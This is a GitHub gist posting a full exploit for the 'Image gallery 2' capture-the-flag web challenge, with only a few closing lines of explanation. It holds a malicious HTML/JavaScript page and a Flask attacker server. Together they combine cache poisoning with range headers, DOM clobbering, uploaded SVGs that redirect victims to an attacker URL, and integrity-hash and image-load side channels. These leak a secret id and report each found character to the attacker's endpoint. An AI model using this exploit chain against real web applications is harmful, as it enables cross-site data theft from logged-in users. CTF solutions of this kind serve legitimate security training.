Last active
February 27, 2024 05:53
-
-
Save ma1f0y/4bf564310e8d205eb6d52d1cb0df0bea to your computer and use it in GitHub Desktop.
Solution for Image gallery 2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<script> | |
const url = "http://web2.bi0s.in" | |
const blob = new Blob(['a'], {type: "image/png"}) | |
const data = new FormData() | |
const caches = Array.from({length: 18}, (_, i) => i+1).map(x => x.toString()) | |
const lens = { 4: 'AAAA',8: 'AAAAAAA', 6: 'AAAAAAAA', 12: 'AAAAAAAAAA', 10: 'AAAAAAAAAAA', 16: 'AAAAAAAAAAAAA', 14: 'AAAAAAAAAAAAAA', 20: 'AAAAAAAAAAAAAAAA', 18: 'AAAAAAAAAAAAAAAAA', 24: 'AAAAAAAAAAAAAAAAAAA', 22: 'AAAAAAAAAAAAAAAAAAAA', 28: 'AAAAAAAAAAAAAAAAAAAAAA', 26: 'AAAAAAAAAAAAAAAAAAAAAAA', 32: 'AAAAAAAAAAAAAAAAAAAAAAAAA', 30: 'AAAAAAAAAAAAAAAAAAAAAAAAAA', 36: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA', 34: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 38: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'} | |
const all_hex_pairs = Array.from({length: 256}, (_, i) => i.toString(16).padStart(2, '0')) | |
let img_url | |
const log = async(msg) => { | |
fetch("/log?val="+encodeURIComponent(msg)) | |
} | |
const found_log = async(chr) => { | |
fetch("/found?val="+encodeURIComponent(chr)) | |
} | |
const sleep = (ms) => { | |
return new Promise(resolve => setTimeout(resolve, ms)); | |
} | |
function cache_set(key,range) { | |
return new Promise((resolve, reject) => { | |
fetch(url + '/files.js?'+key, { | |
headers: { | |
"Range":range, | |
"Accept" :"appplication/json" | |
}, | |
credentials: "include", | |
mode : "cors" | |
}) | |
.then(response => { | |
resolve() | |
}) | |
.catch(error => { | |
resolve() | |
}); | |
}); | |
} | |
async function load_and_check(url){ | |
var img = new Image(); | |
img.src = url; | |
await new Promise(r=>setTimeout(r,10)); | |
return img.complete; | |
} | |
const key_map = { | |
'7' : true, | |
'9' : false, | |
'12' : true, | |
'14' : false | |
} | |
const hexchars = '0123456789abcdef' | |
async function check(key,part) { | |
if(key in key_map) | |
{ | |
for(i=0;i<hexchars.length;i++) | |
{ | |
t = key_map[key]? hexchars[i]+'-' : '-'+hexchars[i] | |
res = await load_and_check(img_url+"?"+key+t) | |
if(res != key_map[key]) | |
{ | |
await found_log(t) | |
return true | |
} | |
} | |
}else{ | |
for (let i = 64*(part); i < 64*(part+1); i++) { | |
res = await load_and_check(img_url+"?"+key+all_hex_pairs[i]) | |
//log("Checked: "+key+all_hex_pairs[i]+"res="+res) | |
if(!res) | |
{ | |
await found_log(all_hex_pairs[i]) | |
return true | |
break | |
} | |
} | |
} | |
return false | |
} | |
const upload = async(data) =>{ | |
await fetch(url + '/upload', { | |
method: 'POST', | |
mode : "no-cors", | |
credentials : "include", | |
body: data | |
}); | |
} | |
const delete_file = async(filename) =>{ | |
return new Promise((resolve, reject) => { | |
fetch(url + '/delete?file=' + filename, { | |
method: 'GET', | |
mode:"no-cors", | |
credentials: "include" | |
}).then(response => { | |
resolve() | |
}).catch(error => { | |
resolve() | |
}); | |
}); | |
} | |
main = async() =>{ | |
img_url = await fetch('/image').then(response => response.text()) | |
data.append('file',blob , 'flag.png') | |
//await upload(data) | |
for (let i = 0; i < 7; i++) { | |
data.set('file',blob , `?${String.fromCharCode(98+i)}?`.repeat(85)) | |
await upload(data) | |
} | |
data.set('file',blob , 'A'.repeat(240)) | |
await upload(data) | |
data.set('file',blob , 'A'.repeat(30)+"?A?") | |
await upload(data) | |
for (let i = 0; i<caches.length; i++) { | |
await cache_set(caches[i],"bytes=0-4095") | |
} | |
await delete_file('A'.repeat(30)+"?A?") | |
j=0 | |
for (let i = 4; i<=38; i+=2) { | |
data.set('file',blob , lens[i]) | |
await upload(data) | |
await cache_set(caches[j++],"bytes=4096-4099") | |
await delete_file(lens[i]) | |
} | |
data.set('file',blob , "A".repeat(255)) | |
await upload(data) | |
w = window.open("about:blank") | |
for (let i = 0; i<caches.length; i++) { | |
svg_urls = await fetch('/get?key='+caches[i]).then(response => response.text()) | |
svg_urls = svg_urls.split(",") | |
for (let j = 0; j < svg_urls.length; j++) { | |
log("opening: "+svg_urls[j]) | |
w.location = svg_urls[j]+"?"+caches[i] | |
await sleep(3500) | |
found = await check(caches[i],j) | |
if(found) | |
{ | |
break | |
} | |
} | |
} | |
} | |
main() | |
</script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import random | |
import html | |
import hashlib | |
import base64 | |
url = "http://web2.bi0s.in" | |
img = "" | |
img_svg="" | |
r = requests.get(url) | |
cookies = {'sid' : r.cookies["sid"]} | |
def fetch_cache(keys,cookies): | |
for key in keys: | |
r= requests.get(url+f'/files.js?'+str(key) , cookies=cookies).text | |
print(r, len(r)) | |
def cache(key,range,cookies): | |
requests.get(url+f'/files.js?{key}', cookies=cookies, headers={"Range": range}) | |
def delete(filename,cookies): | |
requests.get(url+f'/delete?file={filename}', cookies=cookies) | |
def upload(content,filename,cookies): | |
requests.post(url+'/upload', files={'file' : (filename,content)} ,allow_redirects=False , cookies=cookies) | |
return url+"/static/"+cookies["sid"]+"/"+filename | |
#exploit() | |
# first slice | |
contem = """if(top.location.origin==='http://web2.bi0s.in') | |
fileNames = JSON.parse(atob(decodeURIComponent('WyI%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8iLCI%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8iLCI%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8iLCI%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8iLCI%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8iLCI%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8iLCI%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8iLCJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE%2FQT8iLCJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLCJmbGFnLnBuZyJd'))), | |
id = '{}""" | |
know = ['',"';","FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"] | |
svg_tmp = """<svg xmlns:html="http://www.w3.org/1999/xhtml" > | |
{} | |
</svg>""" | |
svg_img = """<svg xmlns:html="http://www.w3.org/1999/xhtml" > | |
<html:img src="{}"></html:img> | |
</svg>""" | |
# redirect to our site | |
red_svg = """<svg xmlns:html="http://www.w3.org/1999/xhtml" > | |
<html:meta http-equiv="refresh" content="0; url={}"></html:meta> | |
</svg>""" | |
# 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 | |
# 81 4a e0 c0 -c e8 4- 42 65 -b 20 9- 15 52 06 a2 51 3d | |
key_map = { | |
'7' : True, | |
'9' : False, | |
'12' : True, | |
'14' : False | |
} | |
def gen_hashes(key): | |
html_pay =""" | |
<script integrity="sha256-{b}" src="/files.js?{key}"></script> | |
<a id="id" href="abc:asdf">asdff</a> | |
<a id="fileNames" href="asd:asdf/../../../../../static/{image}?{cha}">fasd</a> | |
<a id="fileNames" href="asd:asdf">fwe</a> | |
<div class="gallery row"> | |
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> | |
<script src="/main.js"></script> | |
""".replace('\n','') | |
hexchars = '0123456789abcdef' | |
global know,contem,img | |
image = "/".join(img.split('/')[-2:]) | |
a =[] | |
if key in key_map: | |
for i in hexchars: | |
t = i+'-' if key_map[key] else '-'+i | |
c = contem.format(t+''.join(know)) | |
h = hashlib.sha256(c.encode()).digest() | |
b = base64.b64encode(h).decode() | |
a.append(html_pay.format(b=b,key=key,image=image,cha=key+t)) | |
else: | |
for i in hexchars: | |
for j in hexchars: | |
c = contem.format(i+j+''.join(know)) | |
# print(c) | |
h = hashlib.sha256(c.encode()).digest() | |
b = base64.b64encode(h).decode() | |
a.append(html_pay.format(b=b,key=key,image=image,cha=key+i+j)) | |
s = list(map(iframe,map(html.escape,a))) | |
svgs = [] | |
if key not in key_map: | |
for i in range(0,256,64): | |
tem = ''.join(s[i:i+64]) | |
svgs.append(svg_tmp.format(tem)) | |
else: | |
svgs.append(svg_tmp.format(s)) | |
return svgs | |
def iframe(srcdoc): | |
return f"""<html:iframe srcdoc='{srcdoc}'></html:iframe>""" | |
from flask import Flask, request | |
app = Flask(__name__) | |
@app.route('/') | |
def index(): | |
return open('a.html').read() | |
@app.route('/log') | |
def about(): | |
name = request.args.get('val','') | |
if ',' in name: | |
keys = name.split(',') | |
print(keys) | |
return "Hi" | |
@app.route('/found') | |
def found(): | |
name = request.args.get('val') | |
global know | |
know[0] = name+know[0] | |
know[2] = know[2][2:] | |
print(know) | |
return "Found" | |
@app.route('/get') | |
def get(): | |
key = request.args.get('key') | |
svgs = gen_hashes(key) | |
urls = [] | |
global cookies | |
for i,svg in enumerate(svgs): | |
urls.append(upload(svg,f'file{i}.svg',cookies)) | |
# print(urls) | |
return ','.join(urls) | |
@app.route('/image') | |
def image(): | |
global img | |
print(img) | |
return img | |
@app.route('/test') | |
def test(): | |
global img_svg | |
print(img_svg) | |
return img_svg | |
if __name__ == '__main__': | |
img = input("Enter the image url: ") | |
#img = "http://34.18.55.224/static/60a63089-e973-430a-b3df-f8d1ae0ffa48/IMG_20200716_195953.jpg" | |
red_url = input("Enter the redirect url: ") | |
#red_url = "http://20.235.244.64:8000/" | |
print(upload(red_svg.format(red_url),'red.svg',cookies)) | |
app.run(port=8000,host="0.0.0.0") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Solution:
id
in the files.js.fileNames
from the files.js but we can use DOM clobbering to give our own image.files.js
is not loaded our DOM clobbering will work and it will load our image.